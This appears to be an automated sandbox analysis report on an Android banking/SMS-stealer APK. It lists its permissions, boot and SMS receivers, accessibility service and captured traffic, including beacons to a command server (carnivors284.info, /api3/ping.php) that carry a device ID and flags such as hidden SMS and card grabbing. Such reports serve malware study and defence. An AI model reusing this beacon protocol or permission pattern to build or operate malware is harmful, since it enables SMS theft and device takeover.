                                            access.pact.agentimprove.harbor.eager.AXzAjHwXeMiXxSmSxEoSgTrXmFj
                                            access.pact.agentimprove.harbor.eager.OBcZcMpLxWpYdBsSkZcAjUpHoNrJlQaHwBpHpAcTeYnHyDwXkMaPx
                                            access.pact.agentimprove.harbor.eager.MFeBmErYiHsGqFhWiNzJzJpFzCgIjUnKrPnXn
                                            access.pact.agentimprove.harbor.eager.CRwQeIeXkPgYhCiPnPuUbZgZsPtZiGyPqToFxDwOkXw
                                            access.pact.agentimprove.harbor.eager.GOuKlXsPcGyGmQwXrSmXeDxRtBu

                                            Receivers

                                            • improve.harbor.eager.receivers.DownloadReceiver
                                            • Intent: android.intent.action.DOWNLOAD_COMPLETE
                                            • improve.harbor.eager.receivers.MainReceiver
                                            • Intent: android.intent.action.BOOT_COMPLETED (Priority 1000), android.intent.action.QUICKBOOT_POWERON (Priority 1000), android.intent.action.PACKAGE_REPLACED (Priority 1000), android.intent.action.MY_PACKAGE_REPLACED (Priority 1000), com.htc.intent.action.QUICKBOOT_POWERON (Priority 1000), com.htc.intent.action.PACKAGE_REPLACED (Priority 1000)
                                            • improve.harbor.eager.receivers.PingServiceReceiver
                                            • Intent: PingServiceKilled
                                            • improve.harbor.eager.receivers.ScreenReceiver
                                            • improve.harbor.eager.receivers.SettingsReceiver
                                            • Intent: SettingsClosed
                                            • improve.harbor.eager.sms.IncomingSmsListener
                                            • Intent: android.provider.Telephony.SMS_RECEIVED (Priority 998), android.provider.Telephony.SMS_DELIVER (Priority 998)
                                            • improve.harbor.eager.sms.UhrAkCXeKrEkNDiCebtPN
                                            • Intent: android.provider.Telephony.WAP_PUSH_DELIVER

                                            Services

                                            • improve.harbor.eager.AccessibilityS
                                            • Intent: android.accessibilityservice.AccessibilityService (Priority 999)
                                            • improve.harbor.eager.AccessibilityWatcher
                                            • improve.harbor.eager.MainService
                                            • improve.harbor.eager.MainServiceJob
                                            • improve.harbor.eager.sms.ycRGOqsFvQgjHcmGz
                                            • Intent: android.intent.action.RESPOND_VIA_MESSAGE (Priority 0)

                                            Permission Requested

                                            • android.permission.ACCESS_NETWORK_STATE
                                            • android.permission.ACCESS_NOTIFICATION_POLICY
                                            • android.permission.ACTION_MANAGE_OVERLAY_PERMISSION
                                            • android.permission.BIND_ACCESSIBILITY_SERVICE
                                            • android.permission.BIND_JOB_SERVICE
                                            • android.permission.CHANGE_NETWORK_STATE
                                            • android.permission.FOREGROUND_SERVICE
                                            • android.permission.GET_TASKS
                                            • android.permission.INTERNET
                                            • android.permission.MODIFY_AUDIO_SETTINGS
                                            • android.permission.READ_CONTACTS
                                            • android.permission.READ_PHONE_STATE
                                            • android.permission.READ_SMS
                                            • android.permission.READ_SYNC_SETTINGS
                                            • android.permission.RECEIVE_BOOT_COMPLETED
                                            • android.permission.RECEIVE_SMS
                                            • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
                                            • android.permission.REQUEST_INSTALL_PACKAGES
                                            • android.permission.SEND_DOWNLOAD_COMPLETED_INTENTS
                                            • android.permission.SEND_RESPOND_VIA_MESSAGE
                                            • android.permission.SEND_SMS
                                            • android.permission.SYSTEM_ALERT_WINDOW
                                            • android.permission.WAKE_LOCK
                                            • android.permission.WRITE_EXTERNAL_STORAGE
                                            • android.permission.WRITE_SMS

                                            Certificate

                                            Name:classes.dex
                                            Issuer:1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US
                                            Subject:1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US

                                            Resources

                                            NameTypeSize
                                            ic_launcher.pngPNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced4024
                                            AndroidManifest.xmlAndroid binary XML22444
                                            im.pngPNG image data, 11 x 11, 8-bit colormap, non-interlaced97
                                            ic_launcher.pngPNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced11202
                                            CERT.RSAdata1714
                                            dynload.xmlAndroid binary XML440
                                            ic_launcher.pngPNG image data, 192 x 192, 8-bit colormap, non-interlaced8099
                                            activity_main.xmlAndroid binary XML1524
                                            CERT.SFASCII text, with CRLF line terminators1292
                                            ic_launcher.pngPNG image data, 192 x 192, 8-bit/color RGBA, non-interlaced29742
                                            MANIFEST.MFASCII text, with CRLF line terminators1239
                                            sIqXwy.jsondata364696
                                            classes.dexDalvik dex file version 0353562492
                                            resources.arscdata2068
                                            acs.xmlAndroid binary XML504
                                            DAOO.jsondata372304
                                            ic_launcher.pngPNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced7633
                                            ic_launcher.pngPNG image data, 144 x 144, 8-bit/color RGBA, non-interlaced21055
                                            DAOO.json.drDalvik dex file version 035744608

                                            Network Behavior

                                            Network Port Distribution

                                            TCP Packets

                                            TimestampSource PortDest PortSource IPDest IP
                                            Oct 24, 2019 14:36:34.662161112 CEST513925228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:36:34.711319923 CEST522851392108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:36:34.711587906 CEST513925228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:36:34.712501049 CEST513925228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:36:34.759146929 CEST522851392108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:36:34.759201050 CEST522851392108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:36:34.759222984 CEST522851392108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:36:34.759243965 CEST522851392108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:36:34.759264946 CEST522851392108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:36:34.759504080 CEST513925228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:36:34.767209053 CEST513925228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:36:34.767793894 CEST513925228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:36:34.813591003 CEST522851392108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:36:34.813914061 CEST513925228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:37:14.504584074 CEST513985228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:37:14.549139977 CEST522851398108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:37:14.549313068 CEST513985228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:37:14.549947977 CEST513985228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:37:14.594999075 CEST522851398108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:37:14.595231056 CEST522851398108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:37:14.595290899 CEST522851398108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:37:14.595386028 CEST513985228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:37:14.595594883 CEST522851398108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:37:14.595628023 CEST522851398108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:37:14.595794916 CEST513985228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:37:14.603625059 CEST513985228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:37:14.604566097 CEST513985228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:37:14.648154974 CEST522851398108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:37:14.648482084 CEST513985228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:37:37.579164982 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:37.599584103 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:37.599653006 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:37.611551046 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:37.631697893 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:38.029987097 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:38.030028105 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:38.032563925 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:38.032638073 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:38.567148924 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:38.588840961 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:38.970475912 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:38.970511913 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:38.970746994 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:38.970813990 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:42.810463905 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:42.830804110 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:42.832809925 CEST5482680192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:42.852982044 CEST8054826104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:42.853198051 CEST5482680192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:42.872503996 CEST5482680192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:42.892654896 CEST8054826104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:43.070486069 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:43.070523024 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:43.070566893 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:43.070611000 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:43.232235909 CEST8054826104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:43.232280016 CEST8054826104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:37:43.232307911 CEST5482680192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:37:43.232363939 CEST5482680192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:38:33.766618013 CEST514105228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:38:33.812870026 CEST522851410108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:38:33.813004017 CEST514105228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:38:33.814009905 CEST514105228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:38:33.857841969 CEST522851410108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:38:33.857923985 CEST522851410108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:38:33.857945919 CEST522851410108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:38:33.857968092 CEST522851410108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:38:33.857985973 CEST522851410108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:38:33.858164072 CEST514105228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:38:33.866218090 CEST514105228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:38:33.904298067 CEST514105228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:38:33.909938097 CEST522851410108.177.127.188192.168.1.92
                                            Oct 24, 2019 14:38:33.910078049 CEST514105228192.168.1.92108.177.127.188
                                            Oct 24, 2019 14:42:03.522847891 CEST5482680192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:42:03.523004055 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:42:03.543195963 CEST8054824104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:42:03.543248892 CEST8054826104.27.165.230192.168.1.92
                                            Oct 24, 2019 14:42:03.543454885 CEST5482480192.168.1.92104.27.165.230
                                            Oct 24, 2019 14:42:03.543526888 CEST5482680192.168.1.92104.27.165.230

                                            UDP Packets

                                            TimestampSource PortDest PortSource IPDest IP
                                            Oct 24, 2019 14:37:14.846287012 CEST3657753192.168.1.928.8.8.8
                                            Oct 24, 2019 14:37:14.882937908 CEST53365778.8.8.8192.168.1.92
                                            Oct 24, 2019 14:37:15.147818089 CEST4091753192.168.1.928.8.8.8
                                            Oct 24, 2019 14:37:15.193283081 CEST53409178.8.8.8192.168.1.92
                                            Oct 24, 2019 14:37:37.525734901 CEST6112753192.168.1.928.8.8.8
                                            Oct 24, 2019 14:37:37.575438976 CEST53611278.8.8.8192.168.1.92
                                            Oct 24, 2019 14:41:04.670845985 CEST6867192.168.1.92192.168.1.2
                                            Oct 24, 2019 14:41:04.671061039 CEST6768192.168.1.2192.168.1.92
                                            Oct 24, 2019 14:41:12.157763958 CEST2470153192.168.1.928.8.8.8
                                            Oct 24, 2019 14:41:12.202369928 CEST53247018.8.8.8192.168.1.92

                                            DNS Queries

                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                            Oct 24, 2019 14:37:37.525734901 CEST192.168.1.928.8.8.80xadcfStandard query (0)carnivors284.infoA (IP address)IN (0x0001)

                                            DNS Answers

                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                            Oct 24, 2019 14:37:37.575438976 CEST8.8.8.8192.168.1.920xadcfNo error (0)carnivors284.info104.27.165.230A (IP address)IN (0x0001)
                                            Oct 24, 2019 14:37:37.575438976 CEST8.8.8.8192.168.1.920xadcfNo error (0)carnivors284.info104.27.164.230A (IP address)IN (0x0001)

                                            HTTP Request Dependency Graph

                                            • carnivors284.info

                                            HTTP Packets

                                            Session IDSource IPSource PortDestination IPDestination Port
                                            0192.168.1.9254824104.27.165.23080
                                            TimestampkBytes transferredDirectionData
                                            Oct 24, 2019 14:37:37.611551046 CEST32OUTPOST /api3/ping.php HTTP/1.1
                                            Content-Type: application/x-www-form-urlencoded
                                            User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                            Host: carnivors284.info
                                            Connection: Keep-Alive
                                            Accept-Encoding: gzip
                                            Content-Length: 219
                                            Data Raw: 7b 22 44 45 56 49 43 45 5f 49 44 22 3a 22 62 38 65 36 38 38 62 38 37 61 62 34 31 66 39 22 2c 22 54 41 47 22 3a 22 61 64 6f 62 65 32 22 2c 22 53 4d 53 5f 41 4c 4c 4f 57 22 3a 31 2c 22 48 49 44 44 45 4e 5f 53 4d 53 5f 41 4c 4c 4f 57 22 3a 31 2c 22 43 43 5f 47 52 41 42 42 45 52 22 3a 30 2c 22 45 58 54 45 4e 44 45 44 5f 49 4e 4a 45 43 54 49 4f 4e 22 3a 30 2c 22 41 43 43 45 53 53 49 42 49 4c 49 54 59 22 3a 30 2c 22 53 43 52 45 45 4e 5f 4f 4e 22 3a 31 2c 22 49 4e 53 54 41 4c 4c 22 3a 31 2c 22 50 4b 47 5f 4e 41 4d 45 22 3a 22 61 63 63 65 73 73 2e 70 61 63 74 2e 61 67 65 6e 74 22 2c 22 52 45 4c 45 41 53 45 5f 56 45 52 53 49 4f 4e 22 3a 22 32 2e 30 64 22 7d
                                            Data Ascii: {"DEVICE_ID":"b8e688b87ab41f9","TAG":"adobe2","SMS_ALLOW":1,"HIDDEN_SMS_ALLOW":1,"CC_GRABBER":0,"EXTENDED_INJECTION":0,"ACCESSIBILITY":0,"SCREEN_ON":1,"INSTALL":1,"PKG_NAME":"access.pact.agent","RELEASE_VERSION":"2.0d"}
                                            Oct 24, 2019 14:37:38.029987097 CEST32INHTTP/1.1 200 OK
                                            Date: Thu, 24 Oct 2019 12:37:38 GMT
                                            Content-Type: text/html; charset=UTF-8
                                            Transfer-Encoding: chunked
                                            Connection: keep-alive
                                            Set-Cookie: __cfduid=d45c2e5d01ed5d640f96c9cff0afb4ed61571920657; expires=Fri, 23-Oct-20 12:37:37 GMT; path=/; domain=.carnivors284.info; HttpOnly
                                            X-Powered-By: PHP/7.1.31
                                            CF-Cache-Status: DYNAMIC
                                            Server: cloudflare
                                            CF-RAY: 52ac00ce2c0bcc56-ZRH
                                            Content-Encoding: gzip
                                            Data Raw: 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 aa 56 0a f0 f4 73 57 b2 52 f2 f7 56 d2 51 72 f6 f7 f5 75 f4 73 51 b2 52 0a 0e 71 0c 0a 89 77 71 75 0a 75 57 aa 05 00 00 00 ff ff 03 00 c7 a6 ac dc 25 00 00 00 0d 0a
                                            Data Ascii: 3fVsWRVQrusQRqwquuW%
                                            Oct 24, 2019 14:37:38.030028105 CEST32INData Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0
                                            Oct 24, 2019 14:37:38.567148924 CEST33OUTPOST /api3/ping.php HTTP/1.1
                                            Content-Type: application/x-www-form-urlencoded
                                            User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                            Host: carnivors284.info
                                            Connection: Keep-Alive
                                            Accept-Encoding: gzip
                                            Content-Length: 104
                                            Data Raw: 7b 22 44 45 56 49 43 45 5f 49 44 22 3a 22 62 38 65 36 38 38 62 38 37 61 62 34 31 66 39 22 2c 22 52 45 4c 45 41 53 45 5f 56 45 52 53 49 4f 4e 22 3a 22 32 2e 30 64 22 2c 22 4d 53 47 22 3a 22 53 65 74 74 69 6e 67 73 41 63 74 69 76 69 74 79 20 3a 20 6f 6e 43 72 65 61 74 65 28 29 20 43 61 6c 6c 65 64 2e 2e 2e 22 7d
                                            Data Ascii: {"DEVICE_ID":"b8e688b87ab41f9","RELEASE_VERSION":"2.0d","MSG":"SettingsActivity : onCreate() Called..."}
                                            Oct 24, 2019 14:37:38.970475912 CEST33INHTTP/1.1 200 OK
                                            Date: Thu, 24 Oct 2019 12:37:38 GMT
                                            Content-Type: text/html; charset=UTF-8
                                            Transfer-Encoding: chunked
                                            Connection: keep-alive
                                            Set-Cookie: __cfduid=dbdda217c64e79ce8f1d1fa27ce6fbc881571920658; expires=Fri, 23-Oct-20 12:37:38 GMT; path=/; domain=.carnivors284.info; HttpOnly
                                            X-Powered-By: PHP/7.1.31
                                            CF-Cache-Status: DYNAMIC
                                            Server: cloudflare
                                            CF-RAY: 52ac00d428b6cc56-ZRH
                                            Content-Encoding: gzip
                                            Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a
                                            Data Ascii: 19
                                            Oct 24, 2019 14:37:38.970511913 CEST33INData Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0
                                            Oct 24, 2019 14:37:42.810463905 CEST34OUTPOST /api3/ping.php HTTP/1.1
                                            Content-Type: application/x-www-form-urlencoded
                                            User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                            Host: carnivors284.info
                                            Connection: Keep-Alive
                                            Accept-Encoding: gzip
                                            Content-Length: 116
                                            Data Raw: 7b 22 44 45 56 49 43 45 5f 49 44 22 3a 22 62 38 65 36 38 38 62 38 37 61 62 34 31 66 39 22 2c 22 52 45 4c 45 41 53 45 5f 56 45 52 53 49 4f 4e 22 3a 22 32 2e 30 64 22 2c 22 4d 53 47 22 3a 22 53 65 74 74 69 6e 67 73 52 65 63 65 69 76 65 72 20 3a 20 53 65 74 74 69 6e 67 73 20 43 6c 6f 73 65 64 2e 2e 2e 52 65 2d 4f 70 65 6e 69 6e 67 20 69 74 21 22 7d
                                            Data Ascii: {"DEVICE_ID":"b8e688b87ab41f9","RELEASE_VERSION":"2.0d","MSG":"SettingsReceiver : Settings Closed...Re-Opening it!"}
                                            Oct 24, 2019 14:37:43.070486069 CEST35INHTTP/1.1 200 OK
                                            Date: Thu, 24 Oct 2019 12:37:43 GMT
                                            Content-Type: text/html; charset=UTF-8
                                            Transfer-Encoding: chunked
                                            Connection: keep-alive
                                            Set-Cookie: __cfduid=de8bc42924549e63f518e50e7e8486b8e1571920662; expires=Fri, 23-Oct-20 12:37:42 GMT; path=/; domain=.carnivors284.info; HttpOnly
                                            X-Powered-By: PHP/7.1.31
                                            CF-Cache-Status: DYNAMIC
                                            Server: cloudflare
                                            CF-RAY: 52ac00eeac04cc56-ZRH
                                            Content-Encoding: gzip
                                            Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a
                                            Data Ascii: 19
                                            Oct 24, 2019 14:37:43.070523024 CEST35INData Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0


                                            Session IDSource IPSource PortDestination IPDestination Port
                                            1192.168.1.9254826104.27.165.23080
                                            TimestampkBytes transferredDirectionData
                                            Oct 24, 2019 14:37:42.872503996 CEST35OUTPOST /api3/ping.php HTTP/1.1
                                            Content-Type: application/x-www-form-urlencoded
                                            User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                            Host: carnivors284.info
                                            Connection: Keep-Alive
                                            Accept-Encoding: gzip
                                            Content-Length: 104
                                            Data Raw: 7b 22 44 45 56 49 43 45 5f 49 44 22 3a 22 62 38 65 36 38 38 62 38 37 61 62 34 31 66 39 22 2c 22 52 45 4c 45 41 53 45 5f 56 45 52 53 49 4f 4e 22 3a 22 32 2e 30 64 22 2c 22 4d 53 47 22 3a 22 53 65 74 74 69 6e 67 73 41 63 74 69 76 69 74 79 20 3a 20 6f 6e 43 72 65 61 74 65 28 29 20 43 61 6c 6c 65 64 2e 2e 2e 22 7d
                                            Data Ascii: {"DEVICE_ID":"b8e688b87ab41f9","RELEASE_VERSION":"2.0d","MSG":"SettingsActivity : onCreate() Called..."}
                                            Oct 24, 2019 14:37:43.232235909 CEST36INHTTP/1.1 200 OK
                                            Date: Thu, 24 Oct 2019 12:37:43 GMT
                                            Content-Type: text/html; charset=UTF-8
                                            Transfer-Encoding: chunked
                                            Connection: keep-alive
                                            Set-Cookie: __cfduid=d492ef7e390210807a04dcba7f58d7cb01571920662; expires=Fri, 23-Oct-20 12:37:42 GMT; path=/; domain=.carnivors284.info; HttpOnly
                                            X-Powered-By: PHP/7.1.31
                                            CF-Cache-Status: DYNAMIC
                                            Server: cloudflare
                                            CF-RAY: 52ac00ef0f72cc42-ZRH
                                            Content-Encoding: gzip
                                            Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a
                                            Data Ascii: 19
                                            Oct 24, 2019 14:37:43.232280016 CEST36INData Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0


                                            APK Behavior

                                            Installation Messages
                                            NameIs Error
                                            • Unknown permission android.permission.FOREGROUND_SERVICE in package access.pact.agent
                                            • Not granting permission android.permission.SEND_DOWNLOAD_COMPLETED_INTENTS to package access.pact.agent (protectionLevel=2 flags=0x3848be44)
                                            • Unknown permission android.permission.ACTION_MANAGE_OVERLAY_PERMISSION in package access.pact.agent
                                            • type=1400 audit(0.0:1062): avc: denied { call } for scontext=u:r:system_server:s0 tcontext=u:r:adbd:s0 tclass=binder permissive=1
                                            • Replacing preferred activity access.pact.agent/improve.harbor.eager.sms.ADAlUIRPwiJPnyywX for user 0:
                                            • Action: "android.intent.action.SENDTO"
                                            • Category: "android.intent.category.DEFAULT"
                                            • Scheme: "sms"
                                            • AutoVerify=false
                                            • Replacing preferred activity access.pact.agent/improve.harbor.eager.sms.ADAlUIRPwiJPnyywX for user 0:
                                            • Action: "android.intent.action.SENDTO"
                                            • Category: "android.intent.category.DEFAULT"
                                            • Scheme: "smsto"
                                            • AutoVerify=false
                                            • Replacing preferred activity access.pact.agent/improve.harbor.eager.sms.ADAlUIRPwiJPnyywX for user 0:
                                            • Action: "android.intent.action.SENDTO"
                                            • Category: "android.intent.category.DEFAULT"
                                            • Scheme: "mms"
                                            • AutoVerify=false
                                            • Replacing preferred activity access.pact.agent/improve.harbor.eager.sms.ADAlUIRPwiJPnyywX for user 0:
                                            • Action: "android.intent.action.SENDTO"
                                            • Category: "android.intent.category.DEFAULT"
                                            • Scheme: "mmsto"
                                            • AutoVerify=false
                                            false
                                            Started Services

                                            Simulated Events

                                            TypeData
                                            boot completed
                                            • -
                                            time tick
                                            • -
                                            incoming sms
                                            • 0123456789
                                            • this is a text message
                                            outgoing sms
                                            • 9876543210
                                            • thank you
                                            location change
                                            • 54.13
                                            • 12.14
                                            motion simulation
                                            • -
                                            incoming call
                                            • 0123456789
                                            outgoing call
                                            • 9876543210
                                            time tick
                                            • -
                                            API: android.content.pm.PackageManager->setComponentEnabledSetting at improve.harbor.eager.PreActivity.a:51 Show source
                                            NameTypeValue
                                            p0java.lang.Integer
                                            • toString: 2
                                            p1java.lang.Integer
                                            • toString: 1
                                            NameTypeValue
                                            Return Valueandroid.content.ComponentName
                                            • toString: ComponentInfo{access.pact.agent/improve.harbor.eager.PreActivity}
                                            API: java.net.URL->openConnection at improve.harbor.eager.q.run:6 Show source
                                            NameTypeValue
                                            Return Valuecom.android.okhttp.internal.huc.HttpURLConnectionImpl
                                            • toString: com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://carnivors284.info/api3/ping.php
                                            API: android.content.pm.PackageManager->setComponentEnabledSetting at improve.harbor.eager.AccessibilityWatcher.onDestroy:24 Show source
                                            API: android.app.ActivityManager->getRunningTasks at improve.harbor.eager.AccessibilityWatcher$1.run:25 Show source
                                            API: android.content.ContentResolver->query at improve.harbor.eager.MainServiceJob.g:34 Show source
                                            API: android.content.ContentResolver->query at improve.harbor.eager.MainServiceJob.h:52 Show source
                                            API: android.telephony.SmsManager->sendTextMessage at improve.harbor.eager.MainServiceJob.a:27 Show source
                                            API: android.os.PowerManager$WakeLock->release at ..:25 Show source
                                            API: android.os.PowerManager$WakeLock->acquire at improve.harbor.eager.AccessibilityS.onServiceConnected:72 Show source

                                            41 Executed Methods

                                            Cross References
                                            APIs
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • improve.harbor.eager.MainServiceJob.i
                                            • java.lang.Thread.<init>
                                            • java.lang.Thread.start
                                            • java.lang.StringBuilder.toString
                                            • java.lang.String.length
                                            • java.lang.Thread.sleep
                                            • java.lang.String.length
                                            • java.lang.String.length
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.has
                                            • org.json.JSONObject.getString
                                            • org.json.JSONObject.getString
                                            • java.lang.String.equals
                                            • improve.harbor.eager.Permissions.a
                                            • org.json.JSONObject.getString
                                            • org.json.JSONObject.getString
                                            • improve.harbor.eager.MainServiceJob.a
                                            • java.lang.InterruptedException.printStackTrace
                                            • java.lang.String.equals
                                            • org.json.JSONObject.getString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • org.json.JSONException.printStackTrace
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.MainServiceJob.f
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.MainServiceJob.stopSelf
                                            • java.lang.System.exit
                                            • java.lang.String.equals
                                            • org.json.JSONObject.getString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.Long.parseLong
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.h
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.f
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • android.content.Intent.<init>
                                            • android.content.Intent.addFlags
                                            • improve.harbor.eager.MainServiceJob.startForegroundService
                                            • improve.harbor.eager.MainServiceJob.startService
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • android.content.Intent.<init>
                                            • android.content.Intent.addFlags
                                            • improve.harbor.eager.MainServiceJob.startActivity
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • android.content.Intent.<init>
                                            • android.content.Intent.addFlags
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • android.content.Intent.putExtra
                                            • improve.harbor.eager.MainServiceJob.startActivity
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • java.lang.String.equals
